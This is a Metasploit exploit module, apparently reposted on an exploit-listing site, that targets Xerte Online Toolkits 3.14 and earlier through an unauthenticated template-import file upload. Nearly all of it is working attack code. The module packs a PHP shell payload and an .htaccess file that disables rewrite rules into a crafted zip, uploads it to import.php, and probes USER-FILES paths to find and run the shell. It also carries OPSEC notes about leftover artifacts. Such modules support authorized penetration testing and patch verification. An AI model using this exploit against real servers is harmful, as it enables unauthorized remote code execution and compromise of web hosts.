Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-XERTE_UNAUTHENTICATED_TEMPLATE_IMPORT_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Template Import',
        'Description' => %q{
          This module exploits an authentication bypass allowing arbitrary
          file upload in versions 3.14 and earlier to upload and execute a shell.
          Specifically, this targets /website_code/php/import/import.php

          OPSEC
          This module results in directories being created and database entries which can
          not easily be cleaned up automatically.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Brandon Lester',
        ],
        'References' => [
          ['CVE', '2026-32985'],
          ['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
          ['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'PHP', {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
            }
          ]
        ],
        'DisclosureDate' => '2025-08-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits'])
      ]
    )
  end

  def check
    print_status('Performing check')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
    })
    if res&.code == 200
      if res.body.include?('No valid language definition found in the file!')
        return Exploit::CheckCode::Vulnerable('Successfully verified arbitrary file upload vulnerability')
      else
        return Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    end
    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def http_send_command(_cmd)
    # using for loop with the range
    for a in 1..100 do
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{a}--Nottingham", 'media', php_filename)
      })
      next unless res&.code == 200

      print_status("Found shell at #{a}")
      register_file_for_cleanup(php_filename)
      break
    end
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{a}--Nottingham", 'media', php_filename)
    })
  end

  def upload_payload_zip
    # deliver the payload
    zip = Rex::Zip::Archive.new
    # add the payload to the zip archive, under a pre-defined location.
    # this is cleaner opsec than the default languages directory, as that leaves difficult to delete artifacts.
    # This has the added benefit of not needing to worry about the .htaccess restrictions.
    zip.add_file("media/#{php_filename}", payload.encoded)
    zip.add_file('media/.htaccess', htaccess_payload)
    zip.add_file('data.xml', %q{
<learningObject targetFolder="site" language="" name="Project Title" theme="default">
  <page linkID="PG1360232941652" name="Page Title" subtitle="Enter Page Subtitle">
    <section linkID="PG1360232936371" name="This is section One"/>
  </page>
</learningObject>
    })
    zip.add_file('mal-theme.info', %q{
name: mal-theme
display name: Flat: Black & Green
description: A Black and Green theme similar to the Apereo website colours e.g. Aztec header and footer, off white background, grey and green accents.
enabled: yes
preview: apereo.jpg
    })
    zip.add_file('template.xml', %q{
<learningObject editorVersion="3" targetFolder="Nottingham" name="Enter Project Title" language="" navigation="Linear" textSize="12" theme="xot1" themeIcons="false" displayMode="fill window" responsive="true" />
    })

    # add the zip archive to the post request
    mime = Rex::MIME::Message.new
    mime.add_part(zip.pack, 'application/zip', 'binary',
                  %(form-data; name="filenameuploaded"; filename="#{zip_filename}"))

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'import', 'import.php'),
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => mime.to_s
    )
  end

  def exploit
    upload_payload_zip
    print_status('Uploaded the zip')
    http_send_command(payload.encoded)
  end

  def php_filename
    @php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
  end

  def htaccess_payload
    <<~PAYLOAD
      <IfModule mod_rewrite.c>
          RewriteEngine Off
      </IfModule>
    PAYLOAD
  end

  def zip_filename
    @zip_filename ||= Rex::Text.rand_text_alpha(8) + 'mal-template.zip'
  end

end